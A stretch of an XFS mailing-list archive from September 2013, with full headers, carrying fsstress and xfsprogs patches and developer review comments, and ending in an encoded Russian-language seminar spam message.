(8.14.4/8.14.4) with ESMTP id r8GM0dgw020353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 16 Sep 2013 18:00:39 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8GM0b3R018660 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Mon, 16 Sep 2013 18:00:39 -0400 Message-ID: <52377F85.70104@redhat.com> Date: Mon, 16 Sep 2013 17:00:37 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: fix fsstress usage() output X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfstests: fix fsstress usage() output Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379368840 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The show_ops() output should come as part of the -f option help. Signed-off-by: Eric Sandeen --- diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 711ea9a..ef7ecfe 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -1499,8 +1499,8 @@ usage(void) printf(" -e errtg specifies error injection stuff\n"); printf(" -f op_name=freq changes the frequency of option name to freq\n"); printf(" the valid operation names are:\n"); - printf(" -i filenum get verbose output for this nth file object\n"); show_ops(-1, " "); + printf(" -i filenum get verbose output for this nth file object\n"); printf(" -m modulo uid/gid modulo for chown/chgrp (default 32)\n"); printf(" -n nops specifies the no. of operations per process (default 1)\n"); printf(" -p nproc specifies the no. of processes (default 1)\n"); From sandeen@sandeen.net Mon Sep 16 17:04:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D84627F3F for ; Mon, 16 Sep 2013 17:04:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 344908F80DE for ; Mon, 16 Sep 2013 15:04:01 -0700 (PDT) X-ASG-Debug-ID: 1379369037-04cb6c2e9d10bbdd0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GNZvHhg6vqxjKZur for ; Mon, 16 Sep 2013 15:03:57 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 23BF768DF1FE; Mon, 16 Sep 2013 17:03:57 -0500 (CDT) Message-ID: <5237804C.3090502@sandeen.net> Date: Mon, 16 Sep 2013 17:03:56 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ben Myers CC: xfs@oss.sgi.com, rjohnston@sgi.com Subject: Re: xfsprogs: update version for 3.2.0-alpha1 References: <20130916205637.GD1935@sgi.com> X-ASG-Orig-Subj: Re: xfsprogs: update version for 3.2.0-alpha1 In-Reply-To: <20130916205637.GD1935@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379369037 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140671 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/16/13 3:56 PM, Ben Myers wrote: > xfsprogs: update version for 3.2.0-alpha1 > > Update the VERSION and doc/CHANGES file for alpha release, 3.2.0-alpha1 > > Signed-off-by: Ben Myers > Reviewed-by: Rich Johnston Seems fine to me - let's give Dave a chance to chime in too. Thanks, -Eric > --- > VERSION | 4 ++-- > configure.ac | 2 +- > doc/CHANGES | 4 ++++ > 3 files changed, 7 insertions(+), 3 deletions(-) > > Index: b/VERSION > =================================================================== > --- a/VERSION 2013-09-16 15:50:29.544368912 -0500 > +++ b/VERSION 2013-09-16 15:50:37.993732514 -0500 > @@ -2,6 +2,6 @@ > # This file is used by configure to get version information > # > PKG_MAJOR=3 > -PKG_MINOR=1 > -PKG_REVISION=11 > +PKG_MINOR=2 > +PKG_REVISION=0-alpha1 > PKG_BUILD=1 > Index: b/configure.ac > =================================================================== > --- a/configure.ac 2013-09-16 15:54:14.394338104 -0500 > +++ b/configure.ac 2013-09-16 15:54:37.154377546 -0500 > @@ -1,4 +1,4 @@ > -AC_INIT([xfsprogs], [3.1.11]) > +AC_INIT([xfsprogs], [3.2.0-alpha1]) > AC_PREREQ(2.50) > AC_CONFIG_AUX_DIR([.]) > AC_CONFIG_MACRO_DIR([m4]) > Index: b/doc/CHANGES > =================================================================== > --- a/doc/CHANGES 2013-09-16 15:50:13.683773140 -0500 > +++ b/doc/CHANGES 2013-09-16 15:55:58.379446313 -0500 > @@ -1,3 +1,7 @@ > +xfsprogs-3.2.0-alpha1 (16 Sep 2013) > + - Alpha release for the purpose of testing the CRC feature during the > + v3.12 kernel -rc series. > + > xfsprogs-3.1.11 (8 May 2013) > - Support for relative paths in xfs_quota thanks to Satoru Takeuchi. > - mkfs.xfs will always go into multidisk mode when filesystem > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From tinguely@sgi.com Mon Sep 16 17:22:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AED727F3F for ; Mon, 16 Sep 2013 17:22:13 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 56A4E8F8050; Mon, 16 Sep 2013 15:22:13 -0700 (PDT) Message-ID: <52378494.7000406@sgi.com> Date: Mon, 16 Sep 2013 17:22:12 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs-oss Subject: Re: [PATCH, RFC] xfstests: add d_type checking to fsstress References: <52377E50.3040907@redhat.com> In-Reply-To: <52377E50.3040907@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/16/13 16:55, Eric Sandeen wrote: > This patch adds a "-D" switch to fsstress so that every time > we call readdir, we stat the dentry& compare it's st_mode > to the d_type. > > If -D is specified only once, it ignores DT_UNKNOWN. If specified > twice, it considers DT_UNKNOWN to be an error. > > It skips paths of "./." and "./.." so that we only look at files > newly created within the filesystem. > > This could be used in an xfstest; it's noisy on a failures so > would break expected output. > > Signed-off-by: Eric Sandeen > --- > > fsstress doesn't usually do validation, but it's such a handy > framework for creating a ton of random files, this seems like > an ok place to put it. What do folks think? I tried v5 and v4 with and without inode fields in the directory. This looks good to me. Like the 2 levels of the test. --Mark. From david@fromorbit.com Mon Sep 16 17:39:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 436AD7F3F for ; Mon, 16 Sep 2013 17:39:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2C2E78F8050 for ; Mon, 16 Sep 2013 15:39:04 -0700 (PDT) X-ASG-Debug-ID: 1379371140-04cb6c153d10b8f50001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9iTA55jO6ECZmTsP for ; Mon, 16 Sep 2013 15:39:00 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsNAKKHN1J5Lapl/2dsb2JhbABagwc4gxOpewOPB4U9gSEXdIIlAQEEATocIxAIAw4KCSUPBSUDIROHfQW6ZRaPXQeDHoEAA5d6gTCQRYM2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Sep 2013 08:08:58 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VLhRX-0005pE-66; Tue, 17 Sep 2013 08:38:55 +1000 Date: Tue, 17 Sep 2013 08:38:55 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com, sandeen@sandeen.net, rjohnston@sgi.com Subject: Re: xfsprogs: update version for 3.2.0-alpha1 Message-ID: <20130916223855.GF19103@dastard> X-ASG-Orig-Subj: Re: xfsprogs: update version for 3.2.0-alpha1 References: <20130916205637.GD1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130916205637.GD1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379371140 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140672 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 16, 2013 at 03:56:37PM -0500, Ben Myers wrote: > xfsprogs: update version for 3.2.0-alpha1 I'd say this is a major feature and infrastructure update across the entire xfsprogs package, and in that case a PKG_MAJOR bump is warranted, not PKG_MINOR. i.e. We're shooting for a 4.0 release, not 3.2... > > Update the VERSION and doc/CHANGES file for alpha release, 3.2.0-alpha1 > > Signed-off-by: Ben Myers > Reviewed-by: Rich Johnston > > --- > VERSION | 4 ++-- > configure.ac | 2 +- > doc/CHANGES | 4 ++++ > 3 files changed, 7 insertions(+), 3 deletions(-) > > Index: b/VERSION > =================================================================== > --- a/VERSION 2013-09-16 15:50:29.544368912 -0500 > +++ b/VERSION 2013-09-16 15:50:37.993732514 -0500 > @@ -2,6 +2,6 @@ > # This file is used by configure to get version information > # > PKG_MAJOR=3 > -PKG_MINOR=1 > -PKG_REVISION=11 > +PKG_MINOR=2 > +PKG_REVISION=0-alpha1 To make it easy for packaging, 3.99.0 would probably fit better with various distro package naming/numbering schemes... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 16 17:55:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EE8C47F3F for ; Mon, 16 Sep 2013 17:55:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D6D468F8054 for ; Mon, 16 Sep 2013 15:55:54 -0700 (PDT) X-ASG-Debug-ID: 1379372152-04cb6c3777257d70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id m1DMF7WaXvNvkod0 for ; Mon, 16 Sep 2013 15:55:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao0GAGKLN1J5Lapl/2dsb2JhbABagweDS7kGhT2BHxd0giUBAQUnExwjEAgDGAklDwUlAyETiAK6ZxaPXQeEHgOXeoo3hz6DNio Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Sep 2013 08:25:52 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VLhhu-0005rC-Kj; Tue, 17 Sep 2013 08:55:50 +1000 Date: Tue, 17 Sep 2013 08:55:50 +1000 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH, RFC] xfstests: add d_type checking to fsstress Message-ID: <20130916225550.GG19103@dastard> X-ASG-Orig-Subj: Re: [PATCH, RFC] xfstests: add d_type checking to fsstress References: <52377E50.3040907@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52377E50.3040907@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379372152 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140673 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Mon, Sep 16, 2013 at 04:55:28PM -0500, Eric Sandeen wrote: > This patch adds a "-D" switch to fsstress so that every time > we call readdir, we stat the dentry & compare it's st_mode > to the d_type. > > If -D is specified only once, it ignores DT_UNKNOWN. If specified > twice, it considers DT_UNKNOWN to be an error. Hmmmm. DT_UNKNOWN is actually a valid type on disk right through to the userspace interface. I can't think of why we'd want to consider it invalid, especially as right now xfs_repair siply zeros the field when recreating directory entries... Cheers, Dave. > +void test_d_type(int opno, pathname_t *f, struct dirent64 *de) > +{ > + struct stat64 sb; > + char path[PATH_MAX]; > + > + snprintf(path, PATH_MAX, "%s/%s", f->path, de->d_name); > + > + /* Don't check ./. or ./.. */ > + if (!strncmp(path, "./.", 3)) > + return; . and .. should have the values of DT_UNKNOWN or DT_DIR. They are the only valid values for these entries. > + > + if (lstat64(path, &sb)) { > + printf("%d/%d: getdents - can't stat %s\n", > + procid, opno, path); > + } else { > + int bad_d_type = 0; > + > + switch (de->d_type) { > + case DT_BLK: > + if (!S_ISBLK(sb.st_mode)) > + bad_d_type++; > + break; > + case DT_CHR: > + if (!S_ISCHR(sb.st_mode)) > + bad_d_type++; > + break; > + case DT_DIR: > + if (!S_ISDIR(sb.st_mode)) > + bad_d_type++; > + break; > + case DT_FIFO: > + if (!S_ISFIFO(sb.st_mode)) > + bad_d_type++; > + break; > + case DT_LNK: > + if (!S_ISLNK(sb.st_mode)) > + bad_d_type++; > + break; > + case DT_REG: > + if (!S_ISREG(sb.st_mode)) > + bad_d_type++; > + break; > + case DT_SOCK: > + if (!S_ISSOCK(sb.st_mode)) > + bad_d_type++; > + break; > + case DT_UNKNOWN: > + if (verify_d_type > 1) > + bad_d_type++; > + break; > + } And DT_WHT? That's defined on disk and in the user interface ;) i.e. this will not do the right thing with an unknown de->d_type. Cheers, Dave. -- Dave Chinner david@fromorbit.com From rayskaya-ekaterina@resource-marketing.com Mon Sep 16 18:17:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4601F7F3F for ; Mon, 16 Sep 2013 18:17:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A93D3AC001 for ; Mon, 16 Sep 2013 16:17:25 -0700 (PDT) X-ASG-Debug-ID: 1379373425-04cb6c2e9d10bf6c0001-NocioJ Received: from gator4067.hostgator.com (gator4067.hostgator.com [192.185.4.78]) by cuda.sgi.com with ESMTP id q6158OhsWSXlzRhI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Sep 2013 16:17:05 -0700 (PDT) X-Barracuda-Envelope-From: rayskaya-ekaterina@resource-marketing.com X-Barracuda-Apparent-Source-IP: 192.185.4.78 Received: from [190.254.91.42] (port=1914 helo=Unknown) by gator4067.hostgator.com with esmtpa (Exim 4.80) (envelope-from ) id 1VLi2P-0008C4-7K; Mon, 16 Sep 2013 18:17:02 -0500 Message-ID: Reply-To: =?windows-1251?B?/vDo8eru7fHz6/zy?= From: =?windows-1251?B?/vDo8eru7fHz6/zy?= To: , , , , Subject: =?windows-1251?B?wuLu5CDiIP3q8e/r8+Dy4Pbo/iDu4frl6vLg?= =?windows-1251?B?IOfg4uXw+OXt7e7j7iDx8vDu6PLl6/zx8uLg?= Date: Tue, 17 Sep 2013 01:16:26 +0200 X-ASG-Orig-Subj: =?windows-1251?B?wuLu5CDiIP3q8e/r8+Dy4Pbo/iDu4frl6vLg?= =?windows-1251?B?IOfg4uXw+OXt7e7j7iDx8vDu6PLl6/zx8uLg?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_059B_01CEB343.87BF8760" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - gator4067.hostgator.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - resource-marketing.com X-BWhitelist: no X-Source: X-Source-Args: X-Source-Dir: X-Source-Sender: (Unknown) [190.254.91.42]:1914 X-Source-Auth: dalarcon@logistica911.com X-Email-Count: 100 X-Source-Cap: Y29sc2Vydjtjb2xzZXJ2O2dhdG9yNDA2Ny5ob3N0Z2F0b3IuY29t X-Barracuda-Connect: gator4067.hostgator.com[192.185.4.78] X-Barracuda-Start-Time: 1379373425 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_059B_01CEB343.87BF8760 Content-Type: multipart/alternative; boundary="----=_NextPart_001_059C_01CEB343.87BF8760" ------=_NextPart_001_059C_01CEB343.87BF8760 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D6=C5=CD=D2=D0 =CF=CE=C2=DB=D8=C5=CD=C8=DF =CA=C2=C0=CB=C8=D4=C8=CA=C0=D6= =C8=C8 =EF=F0=E8=E3=EB=E0=F8=E0=E5=F2 =C2=E0=F1 =ED=E0 =F1=E5=EC=E8=ED=E0= =F0: =C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2=C0=D6=C8=DE =CE=C1=DA=C5=CA=D2=C0= =CA=C0=CF. =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1=D2=C2=C0. =D0=C5=CA=CE=CD=D1=D2= =D0=D3=CA=D6=C8=DF =C8 =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1=D2=C2=CE =CE=C1=DA=C5= =CA=D2=CE=C2 =CA=C0=CF. =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1=D2=C2=C0. =CA=F0=E0=F2=EA=E0=FF =CF=D0=CE=C3=D0=C0=CC=CC=C0 =CA=D3=D0=D1=C0: - =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D1=ED=E8=CF =E8 =E4=F0=F3=E3=E8=F5 =ED=EE= =F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8= =E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5. - =CF=F0=EE=F6=E5=E4=F3=F0=E0 =E2=FB=E4=E0=F7=E8 =E7=E0=EA=EB=FE=F7=E5=ED= =E8=FF =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED= =EE=E3=EE =EE=E1=FA=E5=EA=F2=E0 =EF=F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC= =E5=ED=F2=E0=F6=E8=E8 =E8 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5=ED=E8= =F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. - =D1=EE=F1=F2=E0=E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE=EA= =F3=EC=E5=ED=F2=E0=F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2=E0= . - =CE=F1=ED=EE=E2=ED=FB=E5 =EE=F8=E8=E1=EA=E8, =E2=EB=E8=FF=FE=F9=E8=E5 =ED= =E0 =F1=F0=EE=EA=E8 =E2=E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2=E0 =ED=E5=E4=E2=E8= =E6=E8=EC=EE=F1=F2=E8 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =F0=E5=E3= =EB=E0=EC=E5=ED=F2=E8=F0=F3=FE=F9=E8=E5 =EF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4= =E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =C0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5=ED= =F2: =C2=FB=E4=E0=F7=E0 =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 =E2=E2=EE=E4= =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE= =E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. =E8 =F2=E0=EA =E4=E0=EB=E5=E5. =CF=F0=EE=E3=F0=E0=EC=EC=E0 =EF=EE=E4=E3=EE=F2=EE=E2=EB=E5=ED=E0 =EF=F0=EE= =F4=E5=F1=F1=E8=EE=ED=E0=EB=E0=EC=E8 =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=F2=F0=EE= =E8=F2=E5=EB=FC=F1=F2=E2=E0! =D4=EE=F0=EC=E0=F2 =F1=E5=EC=E8=ED=E0=F0=E0 =EF=F0=E5=E4=EF=EE=EB=E0=E3=E0= =E5=F2 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =EF=F0=FF=EC=EE=E3=EE =E4=E8=E0=EB= =EE=E3=E0 =F1 =E4=EE=EA=EB=E0=E4=F7=E8=EA=EE=EC, =F7=F2=EE =EF=EE=E7=E2=EE= =EB=FF=E5=F2 =EA=E0=E6=E4=EE=EC=F3 =F1=EB=F3=F8=E0=F2=E5=EB=FE =EF=EE=EB=F3= =F7=E8=F2=FC =ED=E5=EE=E1=F5=EE=E4=E8=EC=F3=FE =EA=EE=ED=F1=F3=EB=FC=F2=E0= =F6=E8=FE, =F1=E2=FF=E7=E0=ED=ED=F3=FE =F1 =E2=E2=EE=E4=EE=EC =E2 =FD=EA=F1= =EF=EB=F3=E0=F2=E0=F6=E8=FE =EA=EE=ED=EA=F0=E5=F2=ED=EE=E3=EE =E7=E0=EA=EE= =ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE=EC =EE=E1= =FA=E5=EA=F2=E0. 2=E7.=EE9-24.o9, =D1=CF=C1. =D3=F1=EB=EE=E2=E8=FF, =F0=E0=F1=EF=E8=F1=E0=ED=E8=E5 =E8 =F0=E5=E3=E8=F1= =F2=F0=E0=F6=E8=FF =E3=F0=F3=EF=EF=FB, =EF=EE=EB=ED=E0=FF =EF=F0=EE=E3=F0= =E0=EC=EC=E0 =F1=E5=EC=E8=ED=E0=F0=E0 =EF=EE =F2.: =CA=CE=C4 =D1=CF=C1 98..6 . 94 . Il =20 ------=_NextPart_001_059C_01CEB343.87BF8760 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

=C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2=C0=D6=C8=DE= =CE=C1=DA=C5=CA=D2=C0 =CA=C0=CF. =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1=D2=C2=C0= . =D0=C5=CA=CE=CD=D1=D2=D0=D3=CA=D6=C8=DF =C8 =D1=D2=D0=CE=C8=D2=C5=CB=DC= =D1=D2=C2=CE =CE=C1=DA=C5=CA=D2=CE=C2 =CA=C0=CF. =D1=D2=D0=CE=C8=D2=C5=CB= =DC=D1=D2=C2=C0.

=CA=F0=E0=F2=EA=E0=FF =CF=D0=CE=C3=D0= =C0=CC=CC=C0 =CA=D3=D0=D1=C0:
- =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF= =D1=ED=E8=CF =E8 =E4=F0=F3=E3=E8=F5 =ED=EE=F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0= =E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB= =FC=F1=F2=E2=E5.
- =CF=F0=EE=F6=E5=E4=F3=F0=E0 =E2=FB=E4=E0=F7= =E8 =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8= =EF=EE=F1=F2=F0=EE=E5=ED=ED=EE=E3=EE =EE=E1=FA=E5=EA=F2=E0 =EF=F0=EE=E5=EA= =F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =E8 =F2=F0=E5=E1=EE=E2=E0= =ED=E8=FF=EC =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2= =EE=E2.
- =D1=EE=F1=F2=E0=E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC= =ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 = =EE=E1=FA=E5=EA=F2=E0.
